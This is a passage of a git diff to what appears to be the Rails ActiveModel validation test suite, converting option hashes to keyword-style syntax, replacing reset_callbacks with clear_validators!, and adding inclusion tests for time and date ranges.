- [ "given custom message", {:message => "custom"}, {:message => "custom"}],
- [ "given if condition", {:if => lambda { true }}, {}],
- [ "given unless condition", {:unless => lambda { false }}, {}],
- [ "given option that is not reserved", {:format => "jpg"}, {:format => "jpg" }]
+ [ "given custom message", { message: "custom" }, { message: "custom" }],
+ [ "given if condition", { if: lambda { true }}, {}],
+ [ "given unless condition", { unless: lambda { false }}, {}],
+ [ "given option that is not reserved", { format: "jpg" }, { format: "jpg" }]
]
# validates_confirmation_of w/ mocha
@@ -61,7 +62,7 @@ class I18nValidationTest < ActiveModel::TestCase
test "validates_confirmation_of on generated message #{name}" do
Person.validates_confirmation_of :title, validation_options
@person.title_confirmation = 'foo'
- @person.errors.expects(:generate_message).with(:title_confirmation, :confirmation, generate_message_options.merge(:attribute => 'Title'))
+ @person.errors.expects(:generate_message).with(:title_confirmation, :confirmation, generate_message_options.merge(attribute: 'Title'))
@person.valid?
end
end
@@ -70,7 +71,7 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_acceptance_of on generated message #{name}" do
- Person.validates_acceptance_of :title, validation_options.merge(:allow_nil => false)
+ Person.validates_acceptance_of :title, validation_options.merge(allow_nil: false)
@person.errors.expects(:generate_message).with(:title, :accepted, generate_message_options)
@person.valid?
end
@@ -90,8 +91,8 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_length_of for :withing on generated message when too short #{name}" do
- Person.validates_length_of :title, validation_options.merge(:within => 3..5)
- @person.errors.expects(:generate_message).with(:title, :too_short, generate_message_options.merge(:count => 3))
+ Person.validates_length_of :title, validation_options.merge(within: 3..5)
+ @person.errors.expects(:generate_message).with(:title, :too_short, generate_message_options.merge(count: 3))
@person.valid?
end
end
@@ -100,9 +101,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_length_of for :too_long generated message #{name}" do
- Person.validates_length_of :title, validation_options.merge(:within => 3..5)
+ Person.validates_length_of :title, validation_options.merge(within: 3..5)
@person.title = 'this title is too long'
- @person.errors.expects(:generate_message).with(:title, :too_long, generate_message_options.merge(:count => 5))
+ @person.errors.expects(:generate_message).with(:title, :too_long, generate_message_options.merge(count: 5))
@person.valid?
end
end
@@ -111,8 +112,8 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_length_of for :is on generated message #{name}" do
- Person.validates_length_of :title, validation_options.merge(:is => 5)
- @person.errors.expects(:generate_message).with(:title, :wrong_length, generate_message_options.merge(:count => 5))
+ Person.validates_length_of :title, validation_options.merge(is: 5)
+ @person.errors.expects(:generate_message).with(:title, :wrong_length, generate_message_options.merge(count: 5))
@person.valid?
end
end
@@ -121,9 +122,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_format_of on generated message #{name}" do
- Person.validates_format_of :title, validation_options.merge(:with => /\A[1-9][0-9]*\z/)
+ Person.validates_format_of :title, validation_options.merge(with: /\A[1-9][0-9]*\z/)
@person.title = '72x'
- @person.errors.expects(:generate_message).with(:title, :invalid, generate_message_options.merge(:value => '72x'))
+ @person.errors.expects(:generate_message).with(:title, :invalid, generate_message_options.merge(value: '72x'))
@person.valid?
end
end
@@ -132,9 +133,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_inclusion_of on generated message #{name}" do
- Person.validates_inclusion_of :title, validation_options.merge(:in => %w(a b c))
+ Person.validates_inclusion_of :title, validation_options.merge(in: %w(a b c))
@person.title = 'z'
- @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(:value => 'z'))
+ @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(value: 'z'))
@person.valid?
end
end
@@ -143,9 +144,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_inclusion_of using :within on generated message #{name}" do
- Person.validates_inclusion_of :title, validation_options.merge(:within => %w(a b c))
+ Person.validates_inclusion_of :title, validation_options.merge(within: %w(a b c))
@person.title = 'z'
- @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(:value => 'z'))
+ @person.errors.expects(:generate_message).with(:title, :inclusion, generate_message_options.merge(value: 'z'))
@person.valid?
end
end
@@ -154,9 +155,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_exclusion_of generated message #{name}" do
- Person.validates_exclusion_of :title, validation_options.merge(:in => %w(a b c))
+ Person.validates_exclusion_of :title, validation_options.merge(in: %w(a b c))
@person.title = 'a'
- @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(:value => 'a'))
+ @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(value: 'a'))
@person.valid?
end
end
@@ -165,9 +166,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_exclusion_of using :within generated message #{name}" do
- Person.validates_exclusion_of :title, validation_options.merge(:within => %w(a b c))
+ Person.validates_exclusion_of :title, validation_options.merge(within: %w(a b c))
@person.title = 'a'
- @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(:value => 'a'))
+ @person.errors.expects(:generate_message).with(:title, :exclusion, generate_message_options.merge(value: 'a'))
@person.valid?
end
end
@@ -178,7 +179,7 @@ class I18nValidationTest < ActiveModel::TestCase
test "validates_numericality_of generated message #{name}" do
Person.validates_numericality_of :title, validation_options
@person.title = 'a'
- @person.errors.expects(:generate_message).with(:title, :not_a_number, generate_message_options.merge(:value => 'a'))
+ @person.errors.expects(:generate_message).with(:title, :not_a_number, generate_message_options.merge(value: 'a'))
@person.valid?
end
end
@@ -187,9 +188,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_numericality_of for :only_integer on generated message #{name}" do
- Person.validates_numericality_of :title, validation_options.merge(:only_integer => true)
+ Person.validates_numericality_of :title, validation_options.merge(only_integer: true)
@person.title = '0.0'
- @person.errors.expects(:generate_message).with(:title, :not_an_integer, generate_message_options.merge(:value => '0.0'))
+ @person.errors.expects(:generate_message).with(:title, :not_an_integer, generate_message_options.merge(value: '0.0'))
@person.valid?
end
end
@@ -198,9 +199,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_numericality_of for :odd on generated message #{name}" do
- Person.validates_numericality_of :title, validation_options.merge(:only_integer => true, :odd => true)
+ Person.validates_numericality_of :title, validation_options.merge(only_integer: true, odd: true)
@person.title = 0
- @person.errors.expects(:generate_message).with(:title, :odd, generate_message_options.merge(:value => 0))
+ @person.errors.expects(:generate_message).with(:title, :odd, generate_message_options.merge(value: 0))
@person.valid?
end
end
@@ -209,9 +210,9 @@ class I18nValidationTest < ActiveModel::TestCase
COMMON_CASES.each do |name, validation_options, generate_message_options|
test "validates_numericality_of for :less_than on generated message #{name}" do
- Person.validates_numericality_of :title, validation_options.merge(:only_integer => true, :less_than => 0)
+ Person.validates_numericality_of :title, validation_options.merge(only_integer: true, less_than: 0)
@person.title = 1
- @person.errors.expects(:generate_message).with(:title, :less_than, generate_message_options.merge(:value => 1, :count => 0))
+ @person.errors.expects(:generate_message).with(:title, :less_than, generate_message_options.merge(value: 1, count: 0))
@person.valid?
end
end
@@ -226,8 +227,8 @@ class I18nValidationTest < ActiveModel::TestCase
end
# test "validates_confirmation_of finds custom model key translation when blank"
test "#{validation} finds custom model key translation when #{error_type}" do
- I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message'}}}}}}
- I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+ I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => 'custom message' } } } } } }
+ I18n.backend.store_translations 'en', errors: { messages: { error_type => 'global message'}}
yield(@person, {})
@person.valid?
@@ -236,17 +237,17 @@ class I18nValidationTest < ActiveModel::TestCase
# test "validates_confirmation_of finds custom model key translation with interpolation when blank"
test "#{validation} finds custom model key translation with interpolation when #{error_type}" do
- I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {attribute => {error_type => 'custom message with %{extra}'}}}}}}
- I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+ I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => 'custom message with %{extra}' } } } } } }
+ I18n.backend.store_translations 'en', errors: { messages: {error_type => 'global message'} }
- yield(@person, {:extra => "extra information"})
+ yield(@person, { extra: "extra information" })
@person.valid?
assert_equal ['custom message with extra information'], @person.errors[attribute]
end
# test "validates_confirmation_of finds global default key translation when blank"
test "#{validation} finds global default key translation when #{error_type}" do
- I18n.backend.store_translations 'en', :errors => {:messages => {error_type => 'global message'}}
+ I18n.backend.store_translations 'en', errors: { messages: {error_type => 'global message'} }
yield(@person, {})
@person.valid?
@@ -264,7 +265,7 @@ class I18nValidationTest < ActiveModel::TestCase
# validates_acceptance_of w/o mocha
set_expectations_for_validation "validates_acceptance_of", :accepted do |person, options_to_merge|
- Person.validates_acceptance_of :title, options_to_merge.merge(:allow_nil => false)
+ Person.validates_acceptance_of :title, options_to_merge.merge(allow_nil: false)
end
# validates_presence_of w/o mocha
@@ -276,36 +277,36 @@ class I18nValidationTest < ActiveModel::TestCase
# validates_length_of :within w/o mocha
set_expectations_for_validation "validates_length_of", :too_short do |person, options_to_merge|
- Person.validates_length_of :title, options_to_merge.merge(:within => 3..5)
+ Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
end
set_expectations_for_validation "validates_length_of", :too_long do |person, options_to_merge|
- Person.validates_length_of :title, options_to_merge.merge(:within => 3..5)
+ Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
person.title = "too long"
end
# validates_length_of :is w/o mocha
set_expectations_for_validation "validates_length_of", :wrong_length do |person, options_to_merge|
- Person.validates_length_of :title, options_to_merge.merge(:is => 5)
+ Person.validates_length_of :title, options_to_merge.merge(is: 5)
end
# validates_format_of w/o mocha
set_expectations_for_validation "validates_format_of", :invalid do |person, options_to_merge|
- Person.validates_format_of :title, options_to_merge.merge(:with => /\A[1-9][0-9]*\z/)
+ Person.validates_format_of :title, options_to_merge.merge(with: /\A[1-9][0-9]*\z/)
end
# validates_inclusion_of w/o mocha
set_expectations_for_validation "validates_inclusion_of", :inclusion do |person, options_to_merge|
- Person.validates_inclusion_of :title, options_to_merge.merge(:in => %w(a b c))
+ Person.validates_inclusion_of :title, options_to_merge.merge(in: %w(a b c))
end
# validates_exclusion_of w/o mocha
set_expectations_for_validation "validates_exclusion_of", :exclusion do |person, options_to_merge|
- Person.validates_exclusion_of :title, options_to_merge.merge(:in => %w(a b c))
+ Person.validates_exclusion_of :title, options_to_merge.merge(in: %w(a b c))
person.title = 'a'
end
@@ -319,55 +320,54 @@ class I18nValidationTest < ActiveModel::TestCase
# validates_numericality_of with :only_integer w/o mocha
set_expectations_for_validation "validates_numericality_of", :not_an_integer do |person, options_to_merge|
- Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true)
+ Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true)
person.title = '1.0'
end
# validates_numericality_of :odd w/o mocha
set_expectations_for_validation "validates_numericality_of", :odd do |person, options_to_merge|
- Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true, :odd => true)
+ Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, odd: true)
person.title = 0
end
# validates_numericality_of :less_than w/o mocha
set_expectations_for_validation "validates_numericality_of", :less_than do |person, options_to_merge|
- Person.validates_numericality_of :title, options_to_merge.merge(:only_integer => true, :less_than => 0)
+ Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, less_than: 0)
person.title = 1
end
# test with validates_with
def test_validations_with_message_symbol_must_translate
- I18n.backend.store_translations 'en', :errors => {:messages => {:custom_error => "I am a custom error"}}
- Person.validates_presence_of :title, :message => :custom_error
+ I18n.backend.store_translations 'en', errors: { messages: { custom_error: "I am a custom error" } }
+ Person.validates_presence_of :title, message: :custom_error
@person.title = nil
@person.valid?
assert_equal ["I am a custom error"], @person.errors[:title]
end
def test_validates_with_message_symbol_must_translate_per_attribute
- I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:attributes => {:title => {:custom_error => "I am a custom error"}}}}}}
- Person.validates_presence_of :title, :message => :custom_error
+ I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { attributes: { title: { custom_error: "I am a custom error" } } } } } }
+ Person.validates_presence_of :title, message: :custom_error
@person.title = nil
@person.valid?
assert_equal ["I am a custom error"], @person.errors[:title]
end
def test_validates_with_message_symbol_must_translate_per_model
- I18n.backend.store_translations 'en', :activemodel => {:errors => {:models => {:person => {:custom_error => "I am a custom error"}}}}
- Person.validates_presence_of :title, :message => :custom_error
+ I18n.backend.store_translations 'en', activemodel: { errors: { models: { person: { custom_error: "I am a custom error" } } } }
+ Person.validates_presence_of :title, message: :custom_error
@person.title = nil
@person.valid?
assert_equal ["I am a custom error"], @person.errors[:title]
end
def test_validates_with_message_string
- Person.validates_presence_of :title, :message => "I am a custom error"
+ Person.validates_presence_of :title, message: "I am a custom error"
@person.title = nil
@person.valid?
assert_equal ["I am a custom error"], @person.errors[:title]
end
-
end
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index 117e9109fc..3a8f3080e1 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -1,5 +1,6 @@
# encoding: utf-8
require 'cases/helper'
+require 'active_support/all'
require 'models/topic'
require 'models/person'
@@ -7,20 +8,42 @@ require 'models/person'
class InclusionValidationTest < ActiveModel::TestCase
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validates_inclusion_of_range
- Topic.validates_inclusion_of( :title, :in => 'aaa'..'bbb' )
+ Topic.validates_inclusion_of(:title, in: 'aaa'..'bbb')
assert Topic.new("title" => "bbc", "content" => "abc").invalid?
assert Topic.new("title" => "aa", "content" => "abc").invalid?
+ assert Topic.new("title" => "aaab", "content" => "abc").invalid?
assert Topic.new("title" => "aaa", "content" => "abc").valid?
assert Topic.new("title" => "abc", "content" => "abc").valid?
assert Topic.new("title" => "bbb", "content" => "abc").valid?
end
+ def test_validates_inclusion_of_time_range
+ Topic.validates_inclusion_of(:created_at, in: 1.year.ago..Time.now)
+ assert Topic.new(title: 'aaa', created_at: 2.years.ago).invalid?
+ assert Topic.new(title: 'aaa', created_at: 3.months.ago).valid?
+ assert Topic.new(title: 'aaa', created_at: 37.weeks.from_now).invalid?
+ end
+
+ def test_validates_inclusion_of_date_range
+ Topic.validates_inclusion_of(:created_at, in: 1.year.until(Date.today)..Date.today)
+ assert Topic.new(title: 'aaa', created_at: 2.years.until(Date.today)).invalid?
+ assert Topic.new(title: 'aaa', created_at: 3.months.until(Date.today)).valid?
+ assert Topic.new(title: 'aaa', created_at: 37.weeks.since(Date.today)).invalid?
+ end
+
+ def test_validates_inclusion_of_date_time_range
+ Topic.validates_inclusion_of(:created_at, in: 1.year.until(DateTime.current)..DateTime.current)
+ assert Topic.new(title: 'aaa', created_at: 2.years.until(DateTime.current)).invalid?
+ assert Topic.new(title: 'aaa', created_at: 3.months.until(DateTime.current)).valid?
+ assert Topic.new(title: 'aaa', created_at: 37.weeks.since(DateTime.current)).invalid?
+ end
+
def test_validates_inclusion_of
- Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ) )
+ Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ))
assert Topic.new("title" => "a!", "content" => "abc").invalid?
assert Topic.new("title" => "a b", "content" => "abc").invalid?
@@ -33,16 +56,16 @@ class InclusionValidationTest < ActiveModel::TestCase
assert t.errors[:title].any?
assert_equal ["is not included in the list"], t.errors[:title]
- assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => nil ) }
- assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => 0) }
+ assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: nil) }
+ assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: 0) }
- assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => "hi!" ) }
- assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => {} ) }
- assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => [] ) }
+ assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: "hi!") }
+ assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: {}) }
+ assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of(:title, in: []) }
end
def test_validates_inclusion_of_with_allow_nil
- Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :allow_nil => true )
+ Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), allow_nil: true)
assert Topic.new("title" => "a!", "content" => "abc").invalid?
assert Topic.new("title" => "", "content" => "abc").invalid?
@@ -50,7 +73,7 @@ class InclusionValidationTest < ActiveModel::TestCase
end
def test_validates_inclusion_of_with_formatted_message
- Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :message => "option %{value} is not in the list" )
+ Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), message: "option %{value} is not in the list")
assert Topic.new("title" => "a", "content" => "abc").valid?
@@ -61,7 +84,7 @@ class InclusionValidationTest < ActiveModel::TestCase
end
def test_validates_inclusion_of_with_within_option
- Topic.validates_inclusion_of( :title, :within => %w( a b c d e f g ) )
+ Topic.validates_inclusion_of(:title, within: %w( a b c d e f g ))
assert Topic.new("title" => "a", "content" => "abc").valid?
@@ -71,7 +94,7 @@ class InclusionValidationTest < ActiveModel::TestCase
end
def test_validates_inclusion_of_for_ruby_class
- Person.validates_inclusion_of :karma, :in => %w( abe monkey )
+ Person.validates_inclusion_of :karma, in: %w( abe monkey )
p = Person.new
p.karma = "Lifo"
@@ -82,11 +105,11 @@ class InclusionValidationTest < ActiveModel::TestCase
p.karma = "monkey"
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
def test_validates_inclusion_of_with_lambda
- Topic.validates_inclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+ Topic.validates_inclusion_of :title, in: lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
t = Topic.new
t.title = "wasabi"
@@ -98,7 +121,7 @@ class InclusionValidationTest < ActiveModel::TestCase
end
def test_validates_inclusion_of_with_symbol
- Person.validates_inclusion_of :karma, :in => :available_karmas
+ Person.validates_inclusion_of :karma, in: :available_karmas
p = Person.new
p.karma = "Lifo"
@@ -119,6 +142,6 @@ class InclusionValidationTest < ActiveModel::TestCase
assert p.valid?
ensure
- Person.reset_callbacks(:validate)
+ Person.clear_validators!
end
end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
index 1a40ca8efc..046ffcb16f 100644
--- a/activemodel/test/cases/validations/length_validation_test.rb
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -5,13 +5,12 @@ require 'models/topic'
require 'models/person'
class LengthValidationTest < ActiveModel::TestCase
-
def teardown
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
end
def test_validates_length_of_with_allow_nil
- Topic.validates_length_of( :title, :is => 5, :allow_nil => true )
+ Topic.validates_length_of( :title, is: 5, allow_nil: true )
assert Topic.new("title" => "ab").invalid?
assert Topic.new("title" => "").invalid?
@@ -20,7 +19,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_with_allow_blank
- Topic.validates_length_of( :title, :is => 5, :allow_blank => true )
+ Topic.validates_length_of( :title, is: 5, allow_blank: true )
assert Topic.new("title" => "ab").invalid?
assert Topic.new("title" => "").valid?
@@ -29,7 +28,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_minimum
- Topic.validates_length_of :title, :minimum => 5
+ Topic.validates_length_of :title, minimum: 5
t = Topic.new("title" => "valid", "content" => "whatever")
assert t.valid?
@@ -51,13 +50,13 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_maximum_should_allow_nil
- Topic.validates_length_of :title, :maximum => 10
+ Topic.validates_length_of :title, maximum: 10
t = Topic.new
assert t.valid?
end
def test_optionally_validates_length_of_using_minimum
- Topic.validates_length_of :title, :minimum => 5, :allow_nil => true
+ Topic.validates_length_of :title, minimum: 5, allow_nil: true
t = Topic.new("title" => "valid", "content" => "whatever")
assert t.valid?
@@ -67,7 +66,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_maximum
- Topic.validates_length_of :title, :maximum => 5
+ Topic.validates_length_of :title, maximum: 5
t = Topic.new("title" => "valid", "content" => "whatever")
assert t.valid?
@@ -82,7 +81,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_optionally_validates_length_of_using_maximum
- Topic.validates_length_of :title, :maximum => 5, :allow_nil => true
+ Topic.validates_length_of :title, maximum: 5, allow_nil: true
t = Topic.new("title" => "valid", "content" => "whatever")
assert t.valid?
@@ -92,7 +91,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_within
- Topic.validates_length_of(:title, :content, :within => 3..5)
+ Topic.validates_length_of(:title, :content, within: 3..5)
t = Topic.new("title" => "a!", "content" => "I'm ooooooooh so very long")
assert t.invalid?
@@ -111,7 +110,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_within_with_exclusive_range
- Topic.validates_length_of(:title, :within => 4...10)
+ Topic.validates_length_of(:title, within: 4...10)
t = Topic.new("title" => "9 chars!!")
assert t.valid?
@@ -125,7 +124,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_optionally_validates_length_of_using_within
- Topic.validates_length_of :title, :content, :within => 3..5, :allow_nil => true
+ Topic.validates_length_of :title, :content, within: 3..5, allow_nil: true
t = Topic.new('title' => 'abc', 'content' => 'abcd')
assert t.valid?
@@ -135,7 +134,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_is
- Topic.validates_length_of :title, :is => 5
+ Topic.validates_length_of :title, is: 5
t = Topic.new("title" => "valid", "content" => "whatever")
assert t.valid?
@@ -153,7 +152,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_optionally_validates_length_of_using_is
- Topic.validates_length_of :title, :is => 5, :allow_nil => true
+ Topic.validates_length_of :title, is: 5, allow_nil: true
t = Topic.new("title" => "valid", "content" => "whatever")
assert t.valid?
@@ -167,25 +166,25 @@ class LengthValidationTest < ActiveModel::TestCase
bigmax = 2 ** 32
bigrange = bigmin...bigmax
assert_nothing_raised do
- Topic.validates_length_of :title, :is => bigmin + 5
- Topic.validates_length_of :title, :within => bigrange
- Topic.validates_length_of :title, :in => bigrange
- Topic.validates_length_of :title, :minimum => bigmin
- Topic.validates_length_of :title, :maximum => bigmax
+ Topic.validates_length_of :title, is: bigmin + 5
+ Topic.validates_length_of :title, within: bigrange
+ Topic.validates_length_of :title, in: bigrange
+ Topic.validates_length_of :title, minimum: bigmin
+ Topic.validates_length_of :title, maximum: bigmax
end
end
def test_validates_length_of_nasty_params
- assert_raise(ArgumentError) { Topic.validates_length_of(:title, :is => -6) }
- assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within => 6) }
- assert_raise(ArgumentError) { Topic.validates_length_of(:title, :minimum => "a") }
- assert_raise(ArgumentError) { Topic.validates_length_of(:title, :maximum => "a") }
- assert_raise(ArgumentError) { Topic.validates_length_of(:title, :within => "a") }
- assert_raise(ArgumentError) { Topic.validates_length_of(:title, :is => "a") }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: -6) }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: 6) }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, minimum: "a") }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, maximum: "a") }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: "a") }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: "a") }
end
def test_validates_length_of_custom_errors_for_minimum_with_message
- Topic.validates_length_of( :title, :minimum => 5, :message => "boo %{count}" )
+ Topic.validates_length_of( :title, minimum: 5, message: "boo %{count}" )
t = Topic.new("title" => "uhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -193,7 +192,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_custom_errors_for_minimum_with_too_short
- Topic.validates_length_of( :title, :minimum => 5, :too_short => "hoo %{count}" )
+ Topic.validates_length_of( :title, minimum: 5, too_short: "hoo %{count}" )
t = Topic.new("title" => "uhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -201,7 +200,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_custom_errors_for_maximum_with_message
- Topic.validates_length_of( :title, :maximum => 5, :message => "boo %{count}" )
+ Topic.validates_length_of( :title, maximum: 5, message: "boo %{count}" )
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -209,7 +208,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_custom_errors_for_in
- Topic.validates_length_of(:title, :in => 10..20, :message => "hoo %{count}")
+ Topic.validates_length_of(:title, in: 10..20, message: "hoo %{count}")
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -222,7 +221,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_custom_errors_for_maximum_with_too_long
- Topic.validates_length_of( :title, :maximum => 5, :too_long => "hoo %{count}" )
+ Topic.validates_length_of( :title, maximum: 5, too_long: "hoo %{count}" )
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -230,21 +229,21 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_custom_errors_for_both_too_short_and_too_long
- Topic.validates_length_of :title, :minimum => 3, :maximum => 5, :too_short => 'too short', :too_long => 'too long'
+ Topic.validates_length_of :title, minimum: 3, maximum: 5, too_short: 'too short', too_long: 'too long'
- t = Topic.new(:title => 'a')
+ t = Topic.new(title: 'a')
assert t.invalid?
assert t.errors[:title].any?
assert_equal ['too short'], t.errors['title']
- t = Topic.new(:title => 'aaaaaa')
+ t = Topic.new(title: 'aaaaaa')
assert t.invalid?
assert t.errors[:title].any?
assert_equal ['too long'], t.errors['title']
end
def test_validates_length_of_custom_errors_for_is_with_message
- Topic.validates_length_of( :title, :is => 5, :message => "boo %{count}" )
+ Topic.validates_length_of( :title, is: 5, message: "boo %{count}" )
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -252,7 +251,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_custom_errors_for_is_with_wrong_length
- Topic.validates_length_of( :title, :is => 5, :wrong_length => "hoo %{count}" )
+ Topic.validates_length_of( :title, is: 5, wrong_length: "hoo %{count}" )
t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
assert t.invalid?
assert t.errors[:title].any?
@@ -260,7 +259,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_minimum_utf8
- Topic.validates_length_of :title, :minimum => 5
+ Topic.validates_length_of :title, minimum: 5
t = Topic.new("title" => "一二三四五", "content" => "whatever")
assert t.valid?
@@ -272,7 +271,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_maximum_utf8
- Topic.validates_length_of :title, :maximum => 5
+ Topic.validates_length_of :title, maximum: 5
t = Topic.new("title" => "一二三四五", "content" => "whatever")
assert t.valid?
@@ -284,7 +283,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_within_utf8
- Topic.validates_length_of(:title, :content, :within => 3..5)
+ Topic.validates_length_of(:title, :content, within: 3..5)
t = Topic.new("title" => "一二", "content" => "12三四五六七")
assert t.invalid?
@@ -296,12 +295,12 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_optionally_validates_length_of_using_within_utf8
- Topic.validates_length_of :title, :within => 3..5, :allow_nil => true
+ Topic.validates_length_of :title, within: 3..5, allow_nil: true
- t = Topic.new(:title => "一二三四五")
+ t = Topic.new(title: "一二三四五")
assert t.valid?, t.errors.inspect
- t = Topic.new(:title => "一二三")
+ t = Topic.new(title: "一二三")
assert t.valid?, t.errors.inspect
t.title = nil
@@ -309,7 +308,7 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_using_is_utf8
- Topic.validates_length_of :title, :is => 5
+ Topic.validates_length_of :title, is: 5
t = Topic.new("title" => "一二345", "content" => "whatever")
assert t.valid?
@@ -321,9 +320,9 @@ class LengthValidationTest < ActiveModel::TestCase
end
def test_validates_length_of_with_block
- Topic.validates_length_of :content, :minimum => 5, :too_short => "Your essay must be at least %{count} words.",
- :tokenizer => lambda {|str| str.scan(/\w+/) }
- t = Topic.new(:content => "this content should be long enough")
+ Topic.validates_length_of :content, minimum: 5, too_short: "Your essay must be at least %{count} words.",
+ tokenizer: lambda {|str| str.scan(/\w+/) }
